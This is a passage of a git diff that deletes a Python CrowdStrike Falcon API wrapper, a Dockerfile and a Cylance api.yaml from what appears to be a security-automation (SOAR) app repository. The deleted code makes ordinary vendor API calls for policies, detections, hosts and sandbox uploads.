request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_set_of_firewall_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_firewall_policies(self, url, client_id, client_secret, headers="", queries="", clone_id="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_firewall_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/firewall/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def set_precedence_of_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update-precedence/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_device_control_policy_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/queries/device-control-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_executes_a_rtr_active_responder_command(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-active-responder-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def batch_executes_a_rtr_administrator_command(self, url, client_id, client_secret, headers="", queries="", timeout="", timeout_duration="", body=""): - params={} - request_headers={} - url=f"{url}/real-time-response/combined/batch-admin-command/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if timeout_duration: - params["timeout_duration"] = timeout_duration - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_monitoring_rules_rules_by_provided_ids(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/entities/rules/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_monitoring_rules(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/entities/rules/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_monitoring_rules(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/entities/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_monitoring_rules(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/recon/entities/rules/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_detection_ids(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter="", q=""): - params={} - request_headers={} - url=f"{url}/detects/queries/detects/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - if q: - params["q"] = q - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_the_file_associated_with_the_given_id_sha256(self, url, client_id, client_secret, ids, headers="", queries="", password_protected=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/samples/entities/samples/v2?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def upload_for_sandbox_analysis(self, url, client_id, client_secret, file_name, headers="", queries="", comment="", is_confidential="", body=""): - params={} - request_headers={"X-CS-USERUUID": "undefined"} - url=f"{url}/samples/entities/samples/v2?file_name={file_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if is_confidential: - params["is_confidential"] = is_confidential - body = " ".join(body.strip().split()).encode("utf-8") - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_host_group_member_ids(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/devices/queries/host-group-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_details_on_incidents(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/incidents/entities/incidents/GET/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_processes_associated_with_a_custom_ioc(self, url, client_id, client_secret, type, value, device_id, headers="", queries="", limit="", offset=""): - params={} - request_headers={} - url=f"{url}/indicators/queries/processes/v1?type={type}&value={value}&device_id={device_id}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_specific_reports_using_their_report_ids(self, url, client_id, client_secret, ids, headers="", queries="", fields=""): - params={} - request_headers={} - url=f"{url}/intel/entities/reports/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_indicators(self, url, client_id, client_secret, headers="", queries="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/iocs/queries/indicators/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_firewall_policy_members(self, url, client_id, client_secret, headers="", queries="", id="", filter="", offset="", limit="", sort=""): - params={} - request_headers={} - url=f"{url}/policy/combined/firewall-members/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if filter: - params["filter"] = filter - if offset: - params["offset"] = offset - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def perform_action_on_the_prevention_policies(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/prevention-actions/v1?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_a_set_of_sensor_update_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def delete_a_set_of_sensor_update_policies(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.delete(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def create_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def update_sensor_update_policies(self, url, client_id, client_secret, headers="", queries="", body=""): - params={} - request_headers={} - url=f"{url}/policy/entities/sensor-update/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.patch(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def take_action_on_hosts(self, url, client_id, client_secret, action_name, headers="", queries="", body=""): - params={} - request_headers={"Content-Type": "application/json","Accept": "application/json"} - url=f"{url}/devices/entities/devices-actions/v2?action_name={action_name}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.post(url, headers=request_headers, params=params, data=body) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def search_for_hosts(self, url, client_id, client_secret, headers="", queries="", offset="", limit="", sort="", filter=""): - params={} - request_headers={} - url=f"{url}/devices/queries/devices/v1" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - if limit: - params["limit"] = limit - if sort: - params["sort"] = sort - if filter: - params["filter"] = filter - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def retrieve_specific_actors_using_their_actor_ids(self, url, client_id, client_secret, ids, headers="", queries="", fields=""): - params={} - request_headers={} - url=f"{url}/intel/entities/actors/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - - def get_pattern_severities_by_id(self, url, client_id, client_secret, ids, headers="", queries=""): - params={} - request_headers={} - url=f"{url}/ioarules/entities/pattern-severities/v1?ids={ids}" - request_headers=self.setup_headers(headers) - params=self.setup_params(queries) - - ret = requests.get(url, headers=request_headers, params=params) - try: - return ret.json() - except json.decoder.JSONDecodeError: - return ret.text - - -if __name__ == "__main__": - - Crowdstrike_Falcon.run() diff --git a/cylance/1.0.0/Dockerfile b/cylance/1.0.0/Dockerfile deleted file mode 100644 index d573f438..00000000 --- a/cylance/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/cylance/1.0.0/api.yaml b/cylance/1.0.0/api.yaml deleted file mode 100644 index d49739d8..00000000 --- a/cylance/1.0.0/api.yaml +++ /dev/null @@ -1,202 +0,0 @@ -app_version: 1.0.0 -name: Cylance -description: "An app to handle Cylance: https://docs.blackberry.com/content/dam/docs-blackberry-com/release-pdfs/en/cylance-products/api-and-developer-guides/Cylance%20User%20API%20Guide%20v2.0%20rev24.pdf" -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - case -categories: - - case -authentication: - required: true - parameters: - - name: app_id - description: The app id to use - example: "*****" - required: true - schema: - type: string - - name: app_secret - description: The app secret to use - example: "*****" - required: true - schema: - type: string - - name: tenant_id - description: The tenant ID to use - example: "*****" - required: true - schema: - type: string -actions: - - name: list_detections - description: Returns all incidents - parameters: - - name: page - description: The page to use - required: false - multiline: false - example: '1' - schema: - type: string - - name: page_size - description: The amount of items to get - required: false - multiline: false - example: '30' - schema: - type: string - returns: - schema: - type: string - - name: list_threats - description: Returns all threats - parameters: - - name: page - description: The page to use - required: false - multiline: false - example: '1' - schema: - type: string - - name: page_size - description: The amount of items to get - required: false - multiline: false - example: '30' - schema: - type: string - returns: - schema: - type: string - - name: get_threat - description: Returns a threat - parameters: - - name: threat_id - description: The ID of the detection to get - required: true - multiline: false - example: '30' - schema: - type: string - returns: - schema: - type: string - - name: get_detection - description: Returns all incidents - parameters: - - name: detection_id - description: The ID of the detection to get - required: true - multiline: false - example: '30' - schema: - type: string - returns: - schema: - type: string - - name: get_global_list - description: Gets a list of data from a global list - parameters: - - name: list_type - description: The list type defined in Cylance - options: - - GlobalQuarantine - - GlobalSafe - required: true - multiline: false - example: '30' - schema: - type: string - - name: page - description: The page to get - required: false - multiline: false - example: '1' - schema: - type: string - returns: - schema: - type: string - - name: add_to_global_list - description: Adds a sha256 to a global bad list - parameters: - - name: list_type - description: The list type defined in Cylance - options: - - GlobalQuarantine - - GlobalSafe - required: true - multiline: false - example: '30' - schema: - type: string - - name: sha256 - description: The Value to block or allow - required: true - multiline: false - example: '1' - schema: - type: string - returns: - schema: - type: string - - name: delete_from_global_list - description: Deletes a value from a list - parameters: - - name: list_type - description: The list type defined in Cylance - options: - - GlobalQuarantine - - GlobalSafe - required: true - multiline: false - example: '30' - schema: - type: string - - name: sha256 - description: The Value to block or allow - required: true - multiline: false - example: 'BF17366EE3BB8068A9AD70FC9E68496E7E311A055BF4FFEEFF53CC5D29CCCE52' - schema: - type: string - returns: - schema: - type: string - - name: get_searches - description: Gets all the searches - parameters: - - name: page - description: The Value to block or allow - required: false - multiline: false - example: '1' - schema: - type: string - - name: create_search - description: Creates a search - parameters: - - name: search - description: The search to run as JSON - required: true - multiline: true - example: '1' - schema: - type: string - - name: get_search_result - description: Gets the search results for a query - parameters: - - name: search_id - description: The ID of the search - required: true - multiline: false - example: '1' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAYAAACvDDbuAAAgAElEQVR4Xu2dB5xdVbXw/6fdMiWTnjAkQAiQICSmEIIUnwICFhACKrwP/VSk2GiiKA/xSfkQRVFAUaxgQSMt6ANEINQYYyCkEEihhDSSEFJm5pbT9vutfe8ZboaZ5M6Q+M2d7PMezuTOvufsvdb/rL322mvvbQEKcxkJ1JgELANujWnMVFdLwIBrQKhJCRhwa1JtptIGXMNATUrAgFuTajOVNuAaBmpSAgbcmlSbqbQB1zBQkxIw4Nak2kylDbiGgZqUgAG3JtVmKm3ANQzUpAQMuDWpNlNpA65hoCYlYMCtSbWZShtwDQM1KQEDbk2qzVTagGsYqEkJGHBrUm2m0gZcw0BNSsCAW5NqM5U24BoGalICBtyaVJuptAHXMFCTEjDg1qTaTKUNuIaBmpSAAbcm1WYqbcA1DNSkBAy4Nak2U2kDrmGgJiVgwK1JtZlKG3ANAzUpAQNuTarNVHr3Bldan1x6X3b5IBGJfGCX/4uBuPRPubbZw90qfctySx+rEJUUkA8s+X+7fFv5oP2voPQf9WWpcuHkg45VSx6sy5crsBvvJb/7givMJOCWeGoHV1klIizlYGMTE6GsCGwbbAs7jrFjl9iRQjZuFBDEThnJEBwL25M/KmI/0swLoRYK17aIXFd/5kQQWSGxoB3H5Qolb0cJ0NLLUFFRXTelgdes76bw7rbgCkZO2bomdrCSAaVBE5bkt7KhVQ6W5ZARIFWaPAUgxHGhcXgd/UalGTy6ib3HDGdI8wBiFfP6a2/w2pJ1bFzeRssrRVrfyKEZxaEOFyhSsCEuP0TDmLxD8lPKlj9L+oNSzZDXaXfldnfeSt/CssS6KVRFl12ytDG2pVCWgGURx6G2ltqGiqUWq+t5DJnUxMh3D2XE6H4M2que1J4R6f42kS0WuKDLeVYGQofiRoW/0mLDq1tY+Uobq+ZvYNOCLRCE+O1vjK1fF0cTqrT7EGl237K4pd9K/6uUNuW75bXbWlyt+1Jvrt2BEgnijVqoOEbsbKmHVzj1rgY5aA2xbBsVR9SPyHDa9w9n8IQUKi6QUyFRFOAUPWJb3AptViGytcuhUkVSjksGD4sG1s7Nc9fXnia/1mfk+GE4DTFvrNpK23ofVSjZe4e0tquxFZbcCHmZEisr9y673rsjubstuLbl4FoeSgkKEZEeVJVYc9I26aEezWP7M3RMP0aN3ovFT67i2RlLcKjXgDaOcDjtpnFkDwiICjaRkyV2IrwoVXaXVYXfLL5sjBOmsOM2vLqQrYsVd16wgLY1AR/86iFM+NRQ1ry4hTdXFFm/tJXXl2zm9eWb8DcEKP8tyyovmW3Li2QTqoA4Fpu8+127Jbh6UKZKboAixK5TNAzLMnDfBvY8YAgjxg5k8P71uEOKOHU+TfTngRuXMfvny/DIatehrjnFaTdOpH5siJXPoGwZrLXgxGJhk2hE2Xu2Yu3DWlEjVhxAfYEtiyLuvPA5cmt9jjz/QN593p7YgcJ10PcI8xFtm/K8/nyedYvzrF66gc0r2mhbX4SCNEAst1j1sDRI282uvg9uuYWlgY2jfVSlIjLNLs3j+zNyv6EMO6AfA0c3kB5mo7JFJKoQRTEBIWEc0E8N4embljP3l8vx7BRB7NMwIsu0GyfRMNZC5V0cKyJ0CljKxdJRgCQ6EOv7KTuPG6WIlIeVhc2LYu654Fnya4q896IxTDh7CEEuALsUMZDwmuN42p2xYhtyHm1rfTYua2PD0i28tmwDa5/bTLhJlcqqCHFwSv6wPFusdN8luo+DW4qTyiDHwcG2bQI3ZvxHRjH5zEFk9k6RSrnYroMf+ISRWK9yqMlSuLFDZEWk3Xpm/eA15v56GbZjEUeKxuYsp948nvoxHpFv4amA0Ja3ojKcVWEG9f0UPh5eGjY/n+Pu8xeSe73IUReOZeK5wwjyUXsIoRQvqIjXWhae6+E6LnEUUywEtC6OmfWLV3j5qbWkJWyn5GWTmLGr48nlOFyftMV9GlyxsKW4gVg9G5WJOPxTB3HUWePIZ9cQRJGGUEpIhKE9riv8iU+qwQ1JOXXM+sHKKsC1K2KuHXixwI3Bx8VLKw3uPecvoO11n6MuPJAJ5wwjLAi4iT8rL5D4yUkQTHoKiYBIXSUiYpHxUrCxnge+P58X/7ISm5TuTUqBsr599WlwbRwdKY0tRagUo44bzMnfHk9rYxtRrMhEXkm72n14S9UlVnYFuInFTcBdSFvZ4k44dxhhXnzWDuDqyiXhrwTa0uuYt1vJpj3UKw3ccckc7X7YVoStfB1G68vw9mlwJbjlSHBfKWJHccYPDmfEMTGbQulQ63G6GJH/+8HdjsWtAFe/Y5bV/pIp1yaM2hjo1jHv9k38/bsvYNsSSIuJYxl49t04b58GVxSd+KRNoxr57E3/QTxyPWGY0YOoyCl22p/2ZnArK2zHGWIFdek2Whe6/OxzT2HlhW4J84nJDfqsv9D3wbVl5ksxctJQTv3eePyheSLfwyMkkhF8J1etgCuRjCBswEsXUa/F/Oa8ubStLOo4r7RZfN2+evV5cB3bJopjRkwexMk/OJjioBArsHGtAKVk6uztV62Ai50njOtxPBu1SnHHuXPZuiKHY9noMadxFWrzvZUhjEzRCrh7TRzMiT8ahz+wiOe7YPs1D654sTpy67n4q9L8+ex/sGVlDpkVlDyGvpyC06ct7rbgDuHEHx1MMLCIK+BafjltpnYtrlaeirBSAm6GO8+exWYNrqs/N+DWpsHVMdyOFrfPgUtUtrgG3BrF9O3VNuD23UjubuQqlHzc3mlxx5ZnzrY/AdHx1Swpz1jcPmNpk4a8E4srU76lXIVqpnxtPOXvIFdBpny3nTlrz1W46EAmnN3FlG+HCYhKJRlw+xyypQb1FFy9KsJW2JKVRYTn1vHUDSt45lcv4TgW0TZJNi5hUbIEYsJSvmSX0nSUItBJNootOskmyVUYS5dTvhW5CsbiviUB4yp0gpmkCEay0gELL4pwvQyP3fgq837xql7sGMaKhj3qOPUn46gfYxMVHVKSQyvZYUhWVheXpDdGHm6mBK4k2bTqJJsxTDh3aDlXoXorYixu9bKqqZI9tbiOigltvYQXLwrxvAyP3vQKz/38VRzH1rm6jc11TPvxwdSPtQkLDillEek1bNuZreoI7pcX0LrOgNsTqIzF7dTiKkK7tE+CF4urkGamBvcVbMfW+bANzXWcmoBblHxcWZ7jlPdHMBa3JzB25zsG3E6kZSsBt5Ty6EQBqVSax296lXm3voLjWkShonGPek778Xjqx1r4vkIwF3BljWQ1rsLWxXnuFosraY16BcRQwkJ5gWWVGjSuQpWCqrViPXUVSuC6Og3WDYuk01ke//ErPHvLCp0XEAUx9UOyfOzmifQ/yKEg4FohgV0luDI4W5zj3vMX0vJ6kSMvOICJ5w0jyEkieSl1sZrLgFuNlGqwTI/BlQiBdhVivUuNgLv4T5v425ULENc3jhysjM2J1x3A/scMI1cIcOyQwLGrsLgubgbeXNDGvRcuJLfO532XHMi4swYbcLvBmHEVOhGWCEUPtGTbpTgknUnT8i+X2z4/E5WXdV8QBAEHn9nMCV89mFyU08nbSpK4Y0Usyd7aZ5BNPeQzp7TPgiR3R2m8Blj+4Doe+PqL8hZw0jUTGPnhxvLSHWNxq+HXgNuJlMp71uAQElgxlmuRebOBGZcu4NV/vEEqZWP5EW5zmtNuPoy6sXnIe6QsS7J8iS1Hbwoi/5JoshN7WLJvg5UmUBYNKZuZ173EvN+uoN/IOj52w0SyYy1CP35r3VsV2jOuQhVCqsUiPXUVZGElKsaV1EDLxafIALs/C6dv5IHrn8EOPDyVwlc5Rn14KMdffTCOCrAjh6JXtrJ6UaNAXFoA6QUeRdvGbyiSWgp3fX4BG1fmOOAjzXzoyoMoWm3b7N5YjbwNuNVIqQbL9BxcCeHKrjQWxGlCJ8CVxZMtg7jjoqdZN3cTVjqLE8qS9oj3nH0QR3x+T7baLXppuCPbOunN6mxiOyZ2fJzQpWjHuOkG/nHFizz/55WoOofjr3s3+x87gEIup5fPd+cy4HZHWjVUdueAmyW2AyK7lbQ7gPWzIu67fDZtG4s6wuAWsoSpAidcOY7RJ/WnWGjFsWO9j4OKM0SI2+AjC9Ozbj/m3/Umj18zn9hXHHjq3hz3jdH4Thvo9cjduwy43ZNXzZTuKbg6y0G6eFldENXp35WzlTh2qPeG88Kd63jwurkoX+FYHnEYkR5hcdqVR9I8OUUueAPlyh4I9ShSRHFAQzbFmqeK3PONORQ3Bgye2MRHvzOFxj18grCNWLa36eaCcgNuzaDYvYr2FFxZASywho4PcR2SHGNbraAcArI0kGb2LcuZdevLuDKTZiviwGLw+P587OojaRiRp8XaRGxnsGKXTCqm5WWYcel8Ni3eQmaPFCf9v8MYPtWmmCvgOE6PljUacLvHQ82U7im4JYuriO0Q4lR5Cyfp7mWL0TTKzeMU0zz4rZdZ/sAqMq5LKOuGwzz7HTeSEy+fhN/vDYooPNvG25jm/msWs/zhtThZiw9dPpn9ThpEW9CKJzvsyH23l5zThcQNuDWDYvcq2nNwu36OE7sE+KisjVrRjxlfn8X6+VtwXRcl+buqyOT/uz/Hnz+WDc4aUpl+LPn9Jh6+cj54FoefvR+Hnb03rVYblvK0NdeuSPeapksbcHsgtFr4yq4A15ZN7VSKgIB612Lzwpg/XjqHwupIb6kvmzCrlMUJXx7PAZ9sZHOcon5tP+799iNk6jOcevlUiv3exFeh3mWx5NfKHmGdL5XfnpwNuLVAYQ/quEvAlY49lrRx8J3NNKYHsXRGngevmk3U5uJ5ijAMcJtcTv3+EQw8zMGJYctLclaETb+RUFBtpaiDDpeVD0rRSevduwy43ZNXzZTeFeBKty6J5rZyKTgeRStikBrA3Fte5olbZcdyD8stEgaKgQcM4D+/8y7UmDzFKIuHTaACHGXhSr6DsuV4iFL0oge7MxtwawbF7lV0V4FrWb4+LipQ/QjdmJQq0NQ2iPu+8xyL/7oSyy1tWRoXFfsfNYgTrhpHcXABFcYox8WOJUFdTpugvGpCZtu6v12SAbd7PNRM6V0Brt5d3LJwYkvDJrPDYSSn8LiwIc29l/2LNf/cjKvhtQmCiIlnjOaYS0aTs7cSWp4+gsqJw1IswSqttDAWt3tYmSSb7slL7/Ko5FA9Jywd1BemsByPvNuKk7IJ5jdw90X/YsvqFmxH/Ng0yslxzAUHMfXMfdioNhO5Ia64DJFHrE+kLOU3dPcyFre7EquR8rvC4koISw4MiWWaNm7Qcd6UHRPkisQZRV26kVX357nnqqeJtto6fzeKQlIDU0y74lCaj3XZHOdIxzZeDIHsrCgnS/bgzDIDbo2A2N1q7gpwI4mGqQyZSGKvRWwvS3614tGbF/H+U8bTNEVn5vLsHet4/LuLyMYOgSPuRES/URk+9r3D6HcAhAWBOo/vSLp6Ctv4uN1Sr3EVuiUufd6e3izPDR1SVgEv38iMaxaz7P5V7H1Ufz507QT8/jnqg3pmXvUiC+9eS8rK6ESbMIrZ85ChnPGdcYSDC+RjOVAl0P5tKQe4e5exuN2TV82U3hUWV84TkdhrZCn6h1nm/OI1Hr91ud6Kdvz/Gcl7LxhDUaaE7ZDsxkFMv2wOq2e/gevJDooOURgw6RPDOOLSUbSkHLJyYg9FAj0Z0b3LgNs9edVM6V0BrhPHRLFFXX0Dz9+9jr9duwDVptj/6L358JWHEPV7E3yfUPJy02lySyLuuXQ2m15qw/EsUr5H3vY5/CujmfLp0QT5IrYVE213eXDnItfgmm1Ga4bHqiv6NnBvHIc/oIhXdMHpemPn7T1ADkKp8+pYO6eFGVfMI7/aZ8hBDUy7bgrOKB9VjEjFKUInIu8UabIHsfbxHHdfMYtgY4TrWoShi9UYc/IVkxh1fBMtYZveRby7l7G43ZVYjZQXFGRVgWyZNHLiEKb98F0UBxYgTCOTCF0dpic7fct3ZdCkzy93cqgoo7PDvFREflmaGd+Yx4YXtpAZ5nH6NVMZNNVmi9pMKqrDjj0ip6BXPxBk6Z9qYt7vX+Oh6xdg64OuXaLIpXFPxUnfncjASR5+PsJyxNcNsWJ5lsQaZFJCor2dX5JkGcdZSDnEqyLuOOdfpR3JbTmsT/IfepK6UxvK7dODM2mcK6dJxjBi0mA+9oOxFAflCaOsnrbt6rKJkb0VYlVH5IQoZwtWWI9nZbFaI/7yzUW8MvNNnH5w3NfGMeHE4WyOWogcmVh4u+WUuEF9PJDHfrSUZ25fRsqVCYcMxajI8EP7Me2aSdhDFYFq1Ueiypm/Nj62HLSnXH1OW2eXp4oEcX+stIJVbfz2nPm0rczrY1T12SV997SocmZcbbxk3a6lgCuHl4RyeMmUoUy7fgzFQW2osJQc3tUlAS3JAhO7K9AoO8KOoNEayCM3L2PubUt1Qtd7PrsvR3xxX1pUDlmBLpMTnZ2dpk+D9FysTXX89fJ5vPbEOu0yRI6LKgZMOGMfPvD1sbTFbxBZdXoywrEKOmMslqyx9kP7tq1xaffHFFY2r0/d+f05i2hbkUf23isdXtJ3rz5uceWAPkcfJN18yBCmXT+eYMhmCFK4SvDsYrbKUhpcKSHrJaM4RYOreHNhwB3nz6O40eeA9w/hlCsnsqn/Bu1SOJEYSwlpdW7mItvH9VKES/ox/eIn9EnolpPGCxzsASEfv3kSg8bbtPr1uLYM2NpQKlt2EzqnUCZDQjvASeeJXk1x21nP4a8JcWX1hg6x9d2rT4MrCxD1cVHKJ7Nnis/ecizOPlv1ZICA2VVPKps6C4Ri0eQQ6khlaCLNwz9YzLO/W0mqf4ozbngPA6Y4bA2LuJZDJhRR+gRdrNRNKUVeKdJ19ay+bwt3XzEX209hO7FOg5x0ZjNHXzKWLbGDY+VxKRBa6e3mMch0cmzlqE/ZbJxjcft5T2P7nt4PIhJXp+9y27ddBQFXONLbdCj4yBVTGXfqYDb5m/Sui13ZJHENJOXQizwCyQRLO0QrM/zxgllsXpJjr/cO5UPXHoRqCsH3sK0ANxYL3TW46Uhq4ZLL5Gna0sDdFy5kxb/W46Rlf13FwHdl+NgPD8VutlFBgKtCnfIosd8uzhFEWR6EeYZYw3n4xiX847YXseUwbYk16/m7vnv1bYtruVi2wlMxfmwzaFwdp39nKu7einwxjyO5h514C5JAI8pP+40ETh67wef1J1zu+sJsvbL30E+P4bBLR5H33yQTegRupN0O2bGmy/1x9eHQsijSpj5Vx5yfvcqTNy7BddLIfrx+JuLjP53KkMMgbHElqxffK+jBmWSive1SSEyBgXUZNjytuOOyf1BY52v/NpZVGtre9l10+za4uDovVqyXZXn4dsDeRw/mgxceSt0+MVvDjaQi6VptQkv2/hIXQfStA2na6sp5uF4dLJj+Jo9+a